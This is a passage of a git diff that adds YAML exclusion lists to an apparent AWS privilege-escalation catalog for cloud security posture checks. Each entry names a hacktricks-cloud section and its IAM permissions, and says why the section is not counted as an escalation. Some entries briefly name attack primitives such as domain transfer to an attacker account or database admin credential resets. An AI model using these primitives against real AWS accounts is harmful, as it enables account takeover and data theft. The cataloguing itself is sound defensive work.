Start*/Create* job, iam:PassRole" + reason: "Data-access confused deputy (read/write S3 as the passed role); no credentials or code execution as the role. Code-executing services have dedicated pages; Amazon FinSpace Managed kdb is discontinued." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#relational-database-rds + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#postgresql-aurora + technique: SQL use of an associated RDS role (PostgreSQL) + reason: "Describes how SQL uses the attached role; the role edge is modelled by the RDS ModifyDBInstance and AddRoleTo* entries." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#mysql-aurora + technique: SQL use of an associated RDS role (MySQL) + reason: "Describes how SQL uses the attached role; the role edge is modelled by the RDS ModifyDBInstance and AddRoleTo* entries." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#accessing-external-services + technique: SQL use of attached Redshift roles (Lambda, S3, DynamoDB, EMR) + reason: "Describes how SQL uses the attached roles; the role edge is modelled by the Redshift credential and role-attachment entries. Covers its subsections." + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g5.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g5.yaml new file mode 100644 index 0000000000..bd7da3da09 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g5.yaml @@ -0,0 +1,98 @@ +# Catalog refresh G5 exclusions (hacktricks-cloud HEAD 171e422299): headings that are not principal escalations. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#api-gateway + technique: API Gateway intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appflow-post-exploitation/README.md#appflow + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appflow-privesc/README.md#appflow + historical_source_revision: 171e422299 + technique: AppFlow intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appflow-post-exploitation/README.md#hijack-or-destroy-a-connector-profile + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appflow-privesc/README.md#redshift-and-custom-connector-boundaries + historical_source_revision: 171e422299 + technique: appflow:CreateConnectorProfile|UpdateConnectorProfile + iam:PassRole; custom connectors + reason: 'Hardening guidance: Redshift connector roles are used only for the connector''s data operations and custom connectors invoke a Lambda through its resource policy without a passed role.' + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appsync-post-exploitation/README.md#appsyncupdategraphqlapi--appsynccreateapikey + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#appsyncupdategraphqlapi--appsynccreateapikey + historical_source_revision: 171e422299 + technique: appsync:UpdateGraphqlApi + appsync:CreateApiKey + reason: 'Switches the API''s primary auth to API_KEY: application-level data access through existing resolvers, not an AWS principal escalation.' + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudwatch-omni-privesc/README.md#cloudwatch-omni + technique: CloudWatch Omni intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-omni-post-exploitation/README.md#cloudwatchcreateview-or-updateview--view-scoped-getrecords--expand-delegated-telemetry-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudwatch-omni-privesc/README.md#cloudwatchcreateview-or-updateview--view-scoped-getrecords--expand-delegated-telemetry-access + technique: cloudwatch:CreateView|UpdateView + cloudwatch:GetRecords + reason: Telemetry data access through a view (no IAM access to source workloads); data read, not principal escalation. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#config + technique: Config intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#aws-config + technique: AWS Config intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-pipe-stored-role-privesc/README.md#eventbridge-pipes + technique: EventBridge Pipes intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-pipes-privesc/README.md#amazon-eventbridge-pipes + technique: EventBridge Pipes intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#amazon-eventbridge + technique: EventBridge intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-fis-privesc/README.md#fault-injection-service + technique: FIS intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kinesis-data-streams-privesc/README.md#kinesis-data-streams + technique: Kinesis Data Streams intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kinesis-data-streams-post-exploitation/README.md#createchannel--associatestreamswithchannel--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kinesis-data-streams-privesc/README.md#createchannel--associatestreamswithchannel--iampassrole + technique: kinesis:CreateChannel + kinesis:AssociateStreamsWithChannel + iam:PassRole + reason: 'Bounded data delivery: the passed role only copies future records of an on-demand stream to an S3 bucket or streaming table; data exfiltration, not principal escalation. kinesis:CreateChannel + is not yet in aws_permissions_cat.yaml.' + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md#mqupdateconfiguration-mqupdatebroker-mqcreateusermqupdateuser + technique: mq:UpdateConfiguration + mq:UpdateBroker + mq:CreateUser|UpdateUser + reason: ActiveMQ broker-level users and authorization map; broker administrator is not an AWS principal. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md#mqupdateconfiguration-mqupdatebroker-mqupdatebrokeraccessconfiguration--trust-an-attacker-controlled-rabbitmq-idp + technique: mq:UpdateConfiguration + mq:UpdateBroker + mq:UpdateBrokerAccessConfiguration + reason: RabbitMQ broker administrator via an attacker IdP; broker-level access and persistence, not an AWS principal. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#snssettopicattributes--grant-subscribe-access-to-a-controlled-iam-user + technique: sns:SetTopicAttributes + reason: 'Resource-policy grant of sns:Subscribe on one topic to a controlled user: message read access only, like sns:AddPermission.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md#sqssetqueueattributes--grant-queue-access-to-a-controlled-iam-user + technique: sqs:SetQueueAttributes + reason: 'Resource-policy grant of queue access to a controlled user: message read access only, like sqs:AddPermission.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#systems-manager-ssm + technique: SSM intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#task-resources + technique: Step Functions task resources + reason: Informational list of service integrations; no technique on its own. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#amazon-cloudwatch-synthetics + technique: CloudWatch Synthetics intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#appsyncupdatedatasource--appsyncupdateresolver--iampassrole + technique: appsync:UpdateDataSource + appsync:UpdateResolver + iam:PassRole + reason: The self-contained new-API route is represented by aws-appsync-passrole-new-api-sigv4. This existing-API variant still needs a recorded callable field, resolver/data-source binding and authorization to invoke it before a passed role can be reached. + source_revision: '171e422299' diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g6.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g6.yaml new file mode 100644 index 0000000000..22c7ea447b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g6.yaml @@ -0,0 +1,184 @@ +# Catalog refresh G6 exclusions (hacktricks-cloud 171e422299): storage, data and identity-data pages. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadmindeletesoftwaretoken--cognito-idpadminsetusermfapreference--cognito-idpsetuserpoolmfaconfig--cognito-idpupdateuserpool + technique: cognito-idp:AdminDeleteSoftwareToken / AdminSetUserMFAPreference / SetUserPoolMfaConfig / UpdateUserPool + reason: MFA weakening only; account takeover still needs the victim's password (or a separate reset primitive already modelled by the password entries). Supersedes the stale _excluded_a.yaml line for + this heading. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#select-an-identity-pool-role-through-editable-claims + technique: Identity-pool rule-based role mapping on user-editable claims + reason: 'Needs no IAM permission: an end user edits its own token claims through user-pool self-service APIs. A writable claim can select an identity-pool IAM role when a matching rule exists, but this is not an edge originating from an IAM principal. Assess the app client write permissions and identity-pool role mapping together.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-user-pools-privesc/README.md#cognito + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-user-pools-privesc/README.md#custom-attribute-privesc + technique: Self-service update of a mutable custom attribute + reason: Token-authorized change by an app user, with no IAM source permission. Application privilege changes depend on the app; an AWS role additionally needs a matching identity-pool claim rule, covered by the editable-claims exclusion. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-user-pools-post-exploitation/README.md#emailusername-modification-privesc + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-user-pools-privesc/README.md#emailusername-modification-privesc + technique: Self-service email/phone/name change + reason: Application-level impersonation when the app trusts unverified claims; no IAM permission and no AWS principal reached. + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-datasync-delegated-copy-post-exploitation/README.md#aws-datasync + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datasync-privesc/README.md#aws-datasync + historical_source_revision: 171e422299 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md#directory-services--workdocs + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elasticache-privesc/README.md#elasticache + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elasticache-post-exploitation/README.md#privilege-escalation-take-over-and-widen-an-rbac-user-with-elasticachemodifyuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elasticache-privesc/README.md#privilege-escalation-take-over-and-widen-an-rbac-user-with-elasticachemodifyuser + technique: elasticache:ModifyUser + reason: Cache data-plane (Valkey/Redis RBAC user) takeover; the cache user is not an AWS principal and no IAM privileges are obtained. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md#amazon-macie + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-memorydb-post-exploitation/README.md#post-exploitation-replace-an-acl-users-password-with-memorydbupdateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-memorydb-user-reset-privesc/README.md#post-exploitation-replace-an-acl-users-password-with-memorydbupdateuser + technique: memorydb:UpdateUser + reason: Database ACL user password reset; data-plane access only, the MemoryDB user is not an AWS principal. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-odb-privesc/README.md#oracle-databaseaws + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-odb-post-exploitation/README.md#odbupdateautonomousdatabase--reset-the-oracle-admin-credential-and-weaken-connection-controls + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-odb-privesc/README.md#odbupdateautonomousdatabase--reset-the-oracle-admin-credential-and-weaken-connection-controls + technique: odb:UpdateAutonomousDatabase + reason: Oracle ADMIN database credential reset; database-level access, no AWS account permissions obtained. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-opensearch-serverless-privesc/README.md#opensearch-service + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-opensearch-serverless-privesc/README.md#aosscreateaccesspolicy + technique: aoss:CreateAccessPolicy / UpdateAccessPolicy + reason: Conditional self-grant of collection data access through an additive policy. Queries still require aoss:APIAccessAll on each collection and allowed network access; this is service data access, not another IAM principal's credentials or general IAM permissions. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-payment-cryptography-privesc/README.md#payment-cryptography + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-payment-cryptography-privesc/README.md#payment-cryptographyputresourcepolicy + technique: payment-cryptography:PutResourcePolicy + reason: Self-grant of key usage through the key resource policy; bounded to that key's cryptographic operations, no other principal's privileges. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-payment-cryptography-privesc/README.md#alias-policy-pivot-with-payment-cryptographyupdatealias + technique: payment-cryptography:UpdateAlias + alias-scoped data-plane permission + reason: Extends the source's own alias-scoped key permission to another key; key usage only, no other principal's privileges. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#private-ca-connector-for-active-directory + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adcreatetemplategroupaccesscontrolentry--grant-enrollment-to-an-attacker-chosen-ad-group + technique: pca-connector-ad:CreateTemplateGroupAccessControlEntry + reason: Opens enrollment on an existing template only; on its own it grants no new identity, and it is the enrollment requirement of aws-pca-connector-ad-createtemplate-esc1 (CreateTemplate + CreateTemplateGroupAccessControlEntry). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-region-switch-privesc/README.md#amazon-application-recovery-controller-region-switch + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-region-switch-privesc/README.md#arc-region-switchstartplanexecution--force-a-region-switch-availability--traffic-hijack + technique: arc-region-switch:StartPlanExecution + reason: Runs an existing plan as written; disruption/traffic redirection only, the source does not choose the actions or the role. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-resilience-hub-privesc/README.md#resilience-hub + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-resilience-hub-privesc/README.md#resiliencehubcreatetest-iampassrole-resiliencehubstarttestrun---execute-managed-fis-faults-as-a-passed-role + technique: resiliencehub:CreateTest + iam:PassRole + resiliencehub:StartTestRun + reason: Runs AWS-managed fault-injection templates with fixed actions; disruptive impact only (no arbitrary FIS template or SSM command), out of scope as disruption. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-resource-explorer-view-privesc/README.md#resource-explorer + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-resource-explorer-view-privesc/README.md#resource-explorer-2updateview--widen-existing-and-default-view-access + technique: resource-explorer-2:UpdateView + reason: Widens resource-metadata visibility of a view; reconnaissance only, no privileges gained. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-route53-domains-privesc/README.md#route53 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-domains-post-exploitation/README.md#route53domainstransferdomaintoanotherawsaccount--transfer-domain-registration-to-an-attacker-account + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-route53-domains-privesc/README.md#route53domainstransferdomaintoanotherawsaccount--transfer-domain-registration-to-an-attacker-account + technique: route53domains:TransferDomainToAnotherAwsAccount + reason: Domain registration hijack to another account; asset takeover, not another principal's privileges. + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-credential-brokers-privesc/README.md#s3 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3-express-and-s3-access-grants-credential-brokers + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-credential-brokers-privesc/README.md#s3-express-and-s3-access-grants-credential-brokers + technique: s3express:CreateSession / s3:GetDataAccess + reason: Credential vending for data access the source is already granted (bucket session or existing grant); data access only, no escalation beyond existing grants. The location-creation variant is aws-s3-accessgrants-passrole-location-getdataaccess. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-files-post-exploitation/README.md#s3-files + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-files-privesc/README.md#s3-files + historical_source_revision: 171e422299 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-tables-privesc/README.md#s3-tables + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-tables-privesc/README.md#self-grant-access-through-a-table-or-table-bucket-policy + technique: s3tables:PutTablePolicy / PutTableBucketPolicy + reason: Self-grant through a table/table-bucket resource policy; data access within that resource, no other principal's privileges. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-vectors-privesc/README.md#s3-vectors + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-vectors-privesc/README.md#s3vectorsputvectorbucketpolicy---self-grant-vector-bucketindex-access + technique: s3vectors:PutVectorBucketPolicy + reason: Self-grant through a vector-bucket resource policy; data access within that bucket, no other principal's privileges. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowball-edge-job-management + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-snowball-privesc/README.md#snowball-edge-job-management + historical_source_revision: 171e422299 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#aws-transfer-family + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#host-keys-are-not-a-standalone-privilege-escalation + technique: transfer:ImportHostKey + reason: Server host-key injection; integrity/impersonation risk only with separate routing control, not privilege escalation (as the page states). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-verified-permissions-privesc/README.md#verified-permissions + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-verified-permissions-privesc/README.md#create-or-modify-a-permissive-cedar-policy + technique: verifiedpermissions:CreatePolicy / UpdatePolicy / policy templates + reason: Application-level authorization change in a Cedar policy store; no AWS IAM privileges unless the application maps decisions to AWS operations (app-specific). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-verified-permissions-post-exploitation/README.md#redirect-token-trust-with-updateidentitysource + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-verified-permissions-privesc/README.md#redirect-token-trust-with-updateidentitysource + technique: verifiedpermissions:UpdateIdentitySource / CreateIdentitySource + reason: Application-level principal impersonation in the policy store; no AWS principal reached. + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-verified-permissions-post-exploitation/README.md#rebind-a-policy-store-alias-to-a-permissive-store + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-verified-permissions-privesc/README.md#rebind-a-policy-store-alias-to-a-permissive-store + technique: verifiedpermissions:DeletePolicyStoreAlias + CreatePolicyStoreAlias + reason: Application-level authorization redirection; no AWS principal reached. + source_revision: fd7d56b0a9 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g7.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g7.yaml new file mode 100644 index 0000000000..44ec30a739 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g7.yaml @@ -0,0 +1,123 @@ +# Catalog refresh (hacktricks-cloud 171e422299), group 7: end-user computing, IoT, media, business apps and misc services. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfig + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appconfig-privesc/README.md#appconfig + historical_source_revision: 171e422299 + technique: AppConfig + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#amazon-appstream-20 + technique: AppStream 2.0 + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamupdatestack--streaming-url--agentaccess-mcp--headless-desktop-control + technique: appstream:UpdateStack + streaming URL (agent access) + reason: 'Variant of the streaming-session entries (aws-appstream-createstreamingurl-existing-fleet): enabling headless agent access on a stack still yields the fleet role through a session.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateentitlement--updateentitlement--grant-a-saml-identity-every-stack-application + technique: appstream:CreateEntitlement / UpdateEntitlement + reason: Grants SAML users application entitlements on a stack; the fleet role reach is the same as the streaming-session entries and requires a federated user session, not an AWS principal escalation + by itself. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-braket-privesc/README.md#amazon-braket + technique: Braket + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-budgets-privesc/README.md#budgets + technique: Budgets + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chatbot-privesc/README.md#chatbot + technique: Chatbot + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#chime-sdk + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md#chime-sdk + historical_source_revision: 171e422299 + technique: Chime SDK + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#capture-or-externally-relay-an-active-meeting + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md#chimecreatemediacapturepipeline--optional-iampassrole + historical_source_revision: 171e422299 + technique: chime:CreateMediaCapturePipeline (+ iam:PassRole) + reason: Meeting capture into S3; the sink role is a constrained S3/KMS proxy, not an escalation to the role. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-cases-privesc/README.md#casestagresource--casesuntagresource-plus-tag-conditioned-cases-permissions + technique: cases:TagResource / UntagResource (ABAC) + reason: Only the exact Cases domain Access=Operator tag change unlocking PutCaseEventConfiguration with reviewed before/after access is active as aws-cases-tagresource-domain-event-self-grant. UntagResource, other actions and multi-resource variants remain unproven. + source_revision: d11f0e7012 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadline-cloud + technique: Deadline Cloud + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#fleet-role-read-credentials + technique: deadline:AssumeFleetRoleForRead + reason: Vends the read-scoped fleet role credentials used for monitoring; reduced read access, not the fleet role. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#device-farm + technique: Device Farm + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dlm-privesc/README.md#amazon-data-lifecycle-manager + technique: Data Lifecycle Manager + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-entity-resolution-post-exploitation/README.md + technique: Entity Resolution (whole page) + reason: 'Bounded data-movement deputy: workflows only read Glue/S3 inputs and write S3 output with the passed role; no code execution or credentials.' + source_revision: 0d0ea06005 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift-streams-privesc/README.md#gamelift-streams + technique: GameLift Streams + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md + technique: Invoicing and Billing (whole page) + reason: The page states there is no IAM role escalation primitive; techniques are billing-data disclosure, legacy billing access enablement and invoice delegation. + source_revision: d11f0e7012 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-core-privesc/README.md#privilege-escalation-iotcreaterolealias--iampassrole--vend-any-iam-role-via-the-iot-credential-provider + technique: iot:CreateRoleAlias + iam:PassRole + reason: Duplicate of aws-iot-privesc (catalog entry aws-iot-passrole-rolealias-certificate). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iot-core + technique: IoT Core + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotcreateprovisioningtemplate--iampassrole--iotcreateprovisioningclaim--self-replenishing-fleet-of-attacker-certificates + technique: iot:CreateProvisioningTemplate + iam:PassRole + CreateProvisioningClaim + reason: The provisioning role only registers things and certificates; it yields device certificates (persistence), and role access still goes through a role alias (covered entry). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#permissionless-discovery-fallbacks + technique: MediaPackage discovery fallbacks + reason: Enumeration notes; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-migration-hub-orchestrator-privesc/README.md#migration-hub-orchestrator + technique: Migration Hub Orchestrator + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-migration-hub-privesc/README.md#application-discovery-service--migration-hub + technique: Application Discovery Service & Migration Hub + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-q-business-post-exploitation/README.md + technique: Q Business (whole page) + reason: Plugin hijack yields actions in connected SaaS systems; no AWS principal obtained. + source_revision: 0d0ea06005 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md + technique: Timestream (whole page) + reason: Scheduled-query roles only run Timestream SQL and write to Timestream/SNS/S3 error reports; bounded data delegation. + source_revision: 0d0ea06005 +- source: 